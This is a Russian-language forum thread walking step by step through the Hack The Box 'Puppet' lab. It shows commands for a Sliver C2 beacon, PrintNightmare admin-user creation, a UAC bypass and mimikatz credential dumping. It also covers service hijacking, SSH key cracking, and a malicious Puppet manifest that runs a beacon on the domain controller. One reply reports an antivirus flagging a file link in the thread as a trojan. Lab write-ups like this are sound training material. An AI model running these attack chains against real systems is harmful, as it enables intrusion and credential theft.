LIMB
Вход Регистрация

тема

Получаем свой первый сертификат на HTB или прохождение Mini Pro Lab Puppet

yashechka · · 12 ответов · 873 просмотров

Вам поручено провести проверку на проникновение в компанию Puppet Inc. Компания не разрешает передачу данных за пределы внутренней сети, поэтому внутри компании был создан сервер управления и контроля (C2), и сотрудник запустил вредоносную программу для имитации успешной атаки с использованием методов социальной инженерии.

Puppet — это небольшой сценарий Active Directory, в котором вы начинаете с уже работающего маяка Sliver C2 на внутренней системе. Он предназначен для отработки работы в рамках C2-инфраструктуры в современной, сложной гибридной среде.

Puppet разработан для специалистов по тестированию на проникновение и «красных команд», ищущих быструю и сложную лабораторию с уже настроенной C2-инфраструктурой для отработки операций C2.

Эта лаборатория «Оператор красной команды уровня I» познакомит игроков со следующими темами:


  • Перечисление
  • Перечисление и атаки на Active Directory
  • Эксплуатация инфраструктуры DevOps
  • Боковое перемещение
  • Локальное повышение привилегий
  • Ситуационная осведомленность
  • Операции C2


Puppet
 — это цепочка задач средней сложности на HTB, в которой вы используете фреймворк C2 Sliver для взлома небольшой среды AD. Вы начинаете с уже существующего маячка на файловом сервере, повышаете привилегии с помощью функции print nightmare, а затем дампите учетные данные. Затем вы делаете боковое перемещение на систему Linux, которая выступает в роли сервера Puppet, по сути, управляя всей средой. Вы повышаете привилегии на сервере Puppet и используете это для горизонтального перемещения на контроллер домена, где снова извлекаете учетные данные, чтобы получить последний флаг.

Начнём со сканирования портов на единственном доступном компьютере (представьте, что компания предоставляет вам внутренний компьютер для тестирования):

Добавим наш айпи в файлик hosts.

sudo nano /etc/hosts
Не удалось прогрузить медиа


Проведем начальное сканирование выданного айпи masscan’ом.


sudo masscan -p1-65535,U:1-65535 10.13.38.33 --rate=500 -e tun0 > puppet.ms

У нас открыты 5 портов.

Не удалось прогрузить медиа

Просканируем их nmap’ом.

nmap -p21,22,8140,8443,31337 -sC -sV -oA nmap/puppet puppet.htb

Не удалось прогрузить медиа


Помимо FTP и SSH, мы видим порты 8443 и 31337, которые встречаются довольно редко. Давайте сначала проверим FTP, так как Nmap говорит, что к нему разрешен анонимный доступ.

Подключимся к 21 порту.

ftp puppet.htb

Не удалось прогрузить медиа


Посмотрим файлы и папки.

ls

Не удалось прогрузить медиа


У нас есть два файла, загрузим их себе на машину.

get red_127.0.0.1.cfg

get sliver-client_linux

Не удалось прогрузить медиа


Посмотрим скачанные файлы.

cat red_127.0.0.1.cfg

Это конфиг для подключения к С2 серверу.

Не удалось прогрузить медиа


file sliver-client_linux

Сам клиент для С2 сервера.

Не удалось прогрузить медиа


FTP-ресурс содержит конфигурацию Sliver, а также клиент Sliver для удобства. Эта компания уже настроила для вас C2-сервер, но не хочет предоставлять вам доступ к 
командной оболочке на сервере. Давайте попробуем подключиться. Проверив конфигурацию, мы видим, что по умолчанию подключение осуществляется к localhost:

Но так как порт для подключения находится на удаленной машине, то сделаем переадресацию портов.

sudo socat TCP-LISTEN:31337,reuseaddr,fork TCP:puppet.htb:31337

Не удалось прогрузить медиа


Сделаем файл клиента исполняемым.

chmod +x sliver-client_linux

Не удалось прогрузить медиа


Импортируем конфиг для С2 сервера.

./sliver-client_linux import red_127.0.0.1.cfg

Не удалось прогрузить медиа


Теперь запускаем сам клиент и подключаемся к серверу.

./sliver-client_linux

Не удалось прогрузить медиа


Выполнение команды beacons показывает, что к этому серверу уже подключен маяк:

beacons

Не удалось прогрузить медиа


Теперь мы можем либо взаимодействовать с маяком, либо переключиться на более быструю интерактивную сессию. В этой лабораторной работе я буду работать с сессией, но отмечу, что в реальных боевых действиях работа с маяком обычно предпочтительнее для целей уклонения. Маяки находятся в режиме ожидания между выполнением команд, и большинство C2-фреймворков применяют обфускацию во время этих задержек. При переключении на интерактивную сессию задержки больше не происходят, поэтому этот компонент уклонения теряется.

Будем использовать маячок fe2a6189.

use fe2a6189


Не удалось прогрузить медиа


Перейдем в интерактивный режим взаимодействия с маячком.

interactive

Не удалось прогрузить медиа


Нам открылась сессия — 9d4ae392.

Переключимся на сессию 9d4ae392.

use 9d4ae392


Не удалось прогрузить медиа


Теперь можем выполнять команды в системе.

Перейдем на рабочий стол Брюса Смита и заберет первый флаг.

cd C:\\Users\\bruce.smith\\Desktop

Не удалось прогрузить медиа


ls

Не удалось прогрузить медиа


cat flag.txt

Не удалось прогрузить медиа


Теперь перейдём к локальному перечислению. Прежде всего, просмотрев файловую систему, мы заметим, что Puppet установлен:

cd c:\\programdata

Не удалось прогрузить медиа
👍58 ❤️16 😮13 🤔8
Сейчас будет прордолжение
Посмотрим список файлов и папок.

ls

Не удалось прогрузить медиа


Видим, что есть Puppet и PuppetLabs.

Puppet — это инструмент для управления конфигурацией, в некотором смысле похожий на нашу систему управления и контроля (C2). Это означает, что где-то находится сервер Puppet, который управляет машинами в нашей среде. Далее нам нужно узнать, в каком контексте мы работаем — чтобы это увидеть, мы запустим объектный файл маяка sa-whoami (bof):

Установим пакет sa-whoami через armory.

armory install sa-whoami

Не удалось прогрузить медиа


Посмотрим, кем мы являемся в системе, группы и привилегии.

sa-whoami

Не удалось прогрузить медиа


Обратите внимание, что мы являемся пользователями домена из группы «employees», но, похоже, не имеем никаких особых привилегий. Наш следующий шаг — сбор данных о рекламной среде с помощью Bloodhound. Для этого мы можем напрямую запустить сборку sharp-hound-4 из Sliver:

Перейдем в папку temp.

cd c:\\temp

Не удалось прогрузить медиа


Устанавливаем инжестор.

armory install sharp-hound-4

Не удалось прогрузить медиа


Собираем с помощью инжестора данные.

sharp-hound-4 -s -t 300 -- -c all,gpolocalgroup

Не удалось прогрузить медиа


Обратите внимание, что результат сохраняется в виде ZIP-архива на целевом компьютере, но нам все равно придется его загрузить:

Загружаем файл себе на ПК для анализа.

download 20260524015235_BloodHound.zip

Не удалось прогрузить медиа


Мы загружаем файлы в наш локальный экземпляр BloodHound, но не видим никаких особенно интересных путей.

Не удалось прогрузить медиа


В качестве следующего шага мы запускаем sa-adcs-enum bof, чтобы перечислить все потенциальные экземпляры ADCS:

Устаналиваем пакет sa-adcs-enum для работы с центром сертификации.

armory install sa-adcs-enum

Не удалось прогрузить медиа


Запускаем sa-adcs-enum.

Не удалось прогрузить медиа


Однако центров сертификации нет. Кроме того, мы перечисляем открытые порты локальной машины с помощью еще одного boof:

Устаним бандл situational-awareness.

Но у меня не установился и выкинул ошибку на этапе установке sa-req-query.

Не удалось прогрузить медиа


Ничего особенно интересного не обнаруживается. В качестве следующего шага мы ищем локальные уязвимости повышения привилегий. Хороший скрипт PowerShell для этого — PrivescCheck от itm4n. Поскольку мы не можем напрямую получить доступ к машине злоумышленника с целевой машины, нам придется либо загрузить скрипт на целевую машину, либо разместить его на машине управления и контроля. В данном случае я выбираю способ загрузки:

Загрузим локально на kali чекер привилегий.

wget https://github.com/itm4n/PrivescCheck/releases/download/2026.01.30-1/PrivescCheck.ps1

Не удалось прогрузить медиа


Теперь загружаем с kali на сервер этот чекер.

Не удалось прогрузить медиа


Смотрим файлы.

ls

Не удалось прогрузить медиа


Установим sharpsh.

armory install sharpsh

Не удалось прогрузить медиа


Проверяем систему на локальные уязвимости.

sharpsh -t 300 -- -c invoke-privesccheck -u c:\\temp\\PrivescCheck.ps1

Не удалось прогрузить медиа


Машина уязвима для PrintNightmare из-за неправильной конфигурации! Существует множество способов эксплуатации этой уязвимости, для простоты я воспользуюсь PoC из этого репозитория - https://github.com/JohnHammond/CVE-2021-34527 . PrintNightmare, по сути, загружает DLL-файл, контролируемый злоумышленником, как SYSTEM, поэтому вы также можете создать свой собственный DLL-файл для прямой загрузки маяка Sliver. Однако PoC от Джона Хаммонда позволяет использовать предварительно скомпилированный DLL-файл для добавления нового пользователя-администратора. Хотя это легко обнаружить, это быстрый способ добиться желаемого.

Загрузим на kali эксплоит.

git clone https://github.com/JohnHammond/CVE-2021-34527

Не удалось прогрузить медиа


Перекинем его в рабочую папку.

cp CVE-2021-34527.ps1 ~

Не удалось прогрузить медиа


Перенесем эксплоит на машину.

upload CVE-2021-34527.ps1

Не удалось прогрузить медиа


Переключимся в шелл и загрузим скрипт CVE-2021-34527.ps1.

Import-Module -Name C:\Temp\CVE-2021-34527.ps1

Не удалось прогрузить медиа
Запустим эксплоит.

Invoke-Nightmare -DriverName "PrintMe" -NewUser "john" -NewPassword "RedPuppet123"

Не удалось прогрузить медиа


Проверим работу эксплоита.

net localgroup administrators

Не удалось прогрузить медиа


Поскольку мы добавили локального пользователя, входящего в группу администраторов, теперь мы можем использовать команду runas для переключения в его контекст, повторно запустив начальную полезную нагрузку маяка:

exit

Здесь нужно подождать.

Не удалось прогрузить медиа


runas -u john -P "RedPuppet123" -p c:\\programdata\\puppet\\puppet-update.exe

Не удалось прогрузить медиа


Посмотрим список маячков.

beacons

Не удалось прогрузить медиа


У нас появился новый маячок с именем <err> потому что мешает UAC.

Смотрим кто мы.

sa-whoami

Не удалось прогрузить медиа


Давайте обойдем UAC.

Клонируем репозиторий с обходом UAC.

git clone https://github.com/icyguider/UAC-BOF-Bonanza.git

Не удалось прогрузить медиа

Скопируем файлы в папку extensions С2 сервера.

sudo cp -rp /home/kali/UAC-BOF-Bonanza /home/kali/.sliver-client/extensions/
Не удалось прогрузить медиа

Перейдем в нужную папку для компиляции

cd /home/kali/.sliver-client/extensions/UAC-BOF-Bonanza/
Не удалось прогрузить медиа

Установим компилятор

sudo apt install gcc-mingw-w64-bootstrap -y
Не удалось прогрузить медиа

Исправляем ошибки.

sed -i 's/^\(\s*\)return;$/\1return 0;/' EditionUpgradeManager/src/EditionUpgradeManagerBOF.c

sed -i 's/\(CoGetObject.&IID_IEditionUpgradeManager,\s\)&Manager)/\1(void**)\\\&Manager)/' EditionUpgradeManager/src/EditionUpgradeManagerBOF.c

sed -i 's/&IID_IEditionUpgradeManager, &Manager)/\&IID_IEditionUpgradeManager, (void**)\\\&Manager)/' EditionUpgradeManager/src/EditionUpgradeManagerBOF.c

Компилируем.

make
Не удалось прогрузить медиа

Загружаем расширение.

extensions load /home/kali/.sliver-client/extensions/UAC-BOF-Bonanza/SspiUacBypass
Не удалось прогрузить медиа

Создаем нужную папку

mkdir -p /home/kali/.sliver-client/extensions/SspiUacBypass/bin/

И копируем нужный файл куда нужно.

cp /home/kali/.sliver-client/extensions/UAC-BOF-Bonanza/SspiUacBypass/bin/SspiUacBypassBOF.o /home/kali/.sliver-client/extensions/SspiUacBypass/bin/SspiUacBypassBOF.o

И повышаемся до системы

SspiUacBypass C:\\programdata\\puppet\\puppet-update.exe

Не удалось прогрузить медиа

Смотрим маячки.

beacons
Не удалось прогрузить медиа

Всё как и раньше.

use 0513a440

interactive

use 879a55d8
Не удалось прогрузить медиа


Забираем флаг с рабочего стола Администратора.

Не удалось прогрузить медиа


Скопируем мимикатз в домашнюю директорию

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
Не удалось прогрузить медиа

Воспользуемся боковым загрузчиком, чтобы загрузить мимиказ в память.

Не удалось прогрузить медиа


Помимо хешей пользователя Брюса и самой машины, мы также получаем хеш нового пользователя: svc_puppet_win_t1. Вероятно, это учетная запись, которую Puppet использует для выполнения команд на серверах Windows первого уровня. Согласно собранным нами данным Active Directory, существуют также учетные записи svc_puppet_win_t0 и svc_puppet_lin_t1. Один аспект, который мы еще не рассматривали, — это общие ресурсы домена. Поэтому давайте сначала сделаем это из системной учетной записи (которая также является обычным пользователем домена — учетной записью машины сервера):

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Поставим расширение для работы с шарами sa-netshares.
👍5
armory install sa-netshares

Не удалось прогрузить медиа

Смотрим шары на домен контроллере.

sa-netshares dc01

Не удалось прогрузить медиа


sa-netshares file01

Не удалось прогрузить медиа


К нестандартным общим ресурсам относятся «files» на файловом сервере file01, где мы уже являемся администраторами, и общий ресурс IT на контроллере домена. Давайте проверим, можем ли мы получить доступ к общему ресурсу IT:

ls \\\\dc01.puppet.vl\\it

Не удалось прогрузить медиа


У нас нет доступа к этому разделу. Давайте проверим нового пользователя, которого мы получили ранее. Это пользователь, запускающий службу Puppet, поэтому, не прибегая к механизму pass-the-hash, мы можем изменить конфигурацию службы для получения маяка, а затем вернуть всё обратно. Давайте сначала перечислим службы:

armory install sa-sc-enum

Не удалось прогрузить медиа


Смотрим все службы.

sa-sc-enum

Не удалось прогрузить медиа


Посмотрим службу puppet на file01.

armory install sa-sc-query

Не удалось прогрузить медиа



sa-sc-query file01 puppet

Не удалось прогрузить медиа


Установим расширение для работы с реестром

armory install sa-reg-query

Не удалось прогрузить медиа


К сожалению из-за этого расширения клиента выкидывает.

Теперь мы могли бы изменить путь запуска и перезапустить службу, но есть способ и получше.

execute -o -s -- c:\\windows\\system32\\cmd.exe /c sc config puppet binPath=c:\\programdata\\puppet\\puppet-update.exe

Не удалось прогрузить медиа


Запускаем службу.

execute -o -s -- c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -c "Restart-Service -Name puppet"
Не удалось прогрузить медиа


Теперь у нас есть новый маячок.

Не удалось прогрузить медиа


Но он быстро умирает, потому что мы загружаем файл маяка вместо службы, поэтому будем мигрировать в процесс.

Для начала посмотрим список процессов.

ps

Не удалось прогрузить медиа


И мигрируем в нужный нам процесс.

migrate -p 3140

Не удалось прогрузить медиа


Теперь смотрим кто мы.

whoami

Не удалось прогрузить медиа
👍2
С помощью нового маяка svc_puppet_win_t1 мы теперь можем вывести список общих ресурсов на контроллере домена, поскольку у этой учетной записи есть права доступа к ним. Теперь мы можем убедиться, что у нас действительно есть доступ, и немного осмотреться.

ls \\\\dc01.puppet.vl\\it

ls \\\\dc01.puppet.vl\\it\\.ssh

Не удалось прогрузить медиа


Загружаем себе эти ключи.

download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519

download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519.pub

Не удалось прогрузить медиа


Загружаем пингалку

https://gist.github.com/joegasper/93ff8ae44fa8712747d85aa92c2b4c78

Находим такие айпи.

Get-PingSweep -SubNet '172.16.40'

Не удалось прогрузить медиа


Проверим порты.

Test-NetConnection -ComputerName 172.16.40.5 -Port 22

Test-NetConnection -ComputerName 172.16.40.200 -Port 22

Не удалось прогрузить медиа


Из содержимого файлов мы узнаем, что это закрытый ключ SSH для учетной записи [email protected] (обратите внимание, что вам, возможно, придется изменить символы конца строки, поскольку этот ключ был получен с машины под управлением Windows). Хотя Sliver имеет функциональность для выполнения команд SSH с помощью маяка, мне не удалось заставить его работать. Поэтому мы собираемся настроить переадресацию портов для SSH с нашей машины злоумышленника. Теперь сделаем саму переадресацию портов в С2.

portfwd add --bind 2222 -r 172.16.40.200:22

Не удалось прогрузить медиа
👍4 🔥1
Не забываем переименовать файлы.

mv '\\dc01.puppet.vl\it\.ssh\ed25519' ed25519

mv '\\dc01.puppet.vl\it\.ssh\ed25519.pub' ed25519.pub

Не удалось прогрузить медиа


Преобразуем ключ в хеш для подбора пароля.

ssh2john ed25519 > hash.txt

Не удалось прогрузить медиа


Теперь подберем пароль.

john hash.txt --wordlist=rockyou.txt

Не удалось прогрузить медиа

Меняем права на файл и преобразуем в нужный формат.

chmod 0600 ed25519

dos2unix ed25519

Не удалось прогрузить медиа


Подключаемся к системе и вводим пароль.

ssh -i ed25519 -t '[email protected]'@127.0.0.1 -p 2222

Не удалось прогрузить медиа


Это сработало, и теперь у нас есть доступ к главному компьютеру Puppet Master. Посмотрим привилегии.

sudo -l

Не удалось прогрузить медиа


Перечислим машины, управляемые этой машиной посредством марионетки:

sudo puppet cert list --all

Проведем повышение привилегий по инструкции 
Не удалось прогрузить медиа

puppet | GTFOBins

Living off the land using "puppet".
Не удалось прогрузить медиа
gtfobins.org

Не удалось прогрузить медиа


/bin/bash -p

Не удалось прогрузить медиа


Читаем флаг в домашней директории у рута.

Не удалось прогрузить медиа
👍5 ❤️1 🔥1
Ответyashechka

Puppet — это небольшой сценарий Active Directory , в котором вы начинаете с уже работающего маяка Sliver C2 на внутренней системе. Он предназначен для отработки работы в рамках C2 -инфраструктуры в современной, сложной…

источник?
hackthebox.com ссылочку дай плз, вдруг надумаю до флага добраться
👍1
Мы видим, что и file01, и контроллер домена управляются этим экземпляром Puppet Master. Хотя мы не знаем, под какими учетными записями работают агенты (кроме file01), можно предположить, что это, вероятно, svc_puppet_win_t0 для контроллера домена. Давайте найдем способ выполнить там команду:

Создаем нужные папки.

mkdir -p /etc/puppet/code/environments/production/manifests

Меняем права на папку

chmod 777 /etc/puppet/code/environments/production/manifests

Не удалось прогрузить медиа

Создаем следующий файл.

nano /etc/puppet/code/environments/production/manifests/site.pp

node 'dc01.puppet.vl' {

exec { 'pwned':

command => 'C:\\Windows\\System32\\cmd.exe /c \\\\file01.puppet.vl\\files\\puppet-update.exe',

logoutput => true,

}

}

node default {

notify { 'This is the default node': }

}

Меняем права на файл

chmod 777 /etc/puppet/code/environments/production/manifests/site.pp

Не удалось прогрузить медиа


Применяем конфиг, не забывая положить файл в нужную папку.

Не удалось прогрузить медиа


Задача агента — отследить изменения. По умолчанию это происходит каждые 30 минут, но здесь агент проверяет состояние системы каждую минуту, чтобы помочь в эксплуатации уязвимости.

Вскоре после этого мы получаем сигнал от домена контроллера:

Не удалось прогрузить медиа


Переключаемся на нужный маячок и заходим на рабочий стол Администратора.

Не удалось прогрузить медиа


Это предоставляет полные административные права на контроллере домена, однако последний флаг находится не в обычном месте — на этой машине это пароль одного из пользователей. Поэтому нам придётся получить его из дампа учётных данных, т.е. последний флаг можно выгрузить с помощью SharpDPAPI.exe

wget 
https://raw.githubusercontent.com/r3motecontrol/Ghostpack-CompiledBinaries/refs/heads/master/SharpDPAPI.exe

Загружаем SharpDPAPI.exe, переходим в шелл и запускаем.

upload SharpDPAPI.exe
Не удалось прогрузить медиа


Машина пройдена, можно забирать сертификат.
👍2
Ответlisa99

источник? hackthebox.com ссылочку дай плз, вдруг надумаю до флага добраться

Привет. Вот точная ссылка - https://app.hackthebox.com/prolabs.
Не удалось прогрузить медиа



Обнаружено:
25.05.2026 19:33:53

Веб-адрес:
_https://drop1.dropmefile.com/dl/aekwS

Причина: объект заражен
Приложение: HEUR:Trojan.PDF.Badur.genw



Интересно, это реакция на текст в документе или "два в одном"?) На кой мне пдф?
Может кто-то пристальнее посмотрит из модеров?
👍1
лису ломают беда

мне интересно это яшечка тот самый или просто человек ник так занял чтоб потрастовее было?
👍3
Ответbezmyatezhnost

лису ломают беда мне интересно это яшечка тот самый или просто человек ник так занял чтоб потрастовее было?

Это он. У него и в тг вышел write-up этот + на хабре. Так что ник принадлежит по праву , владельцу.

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.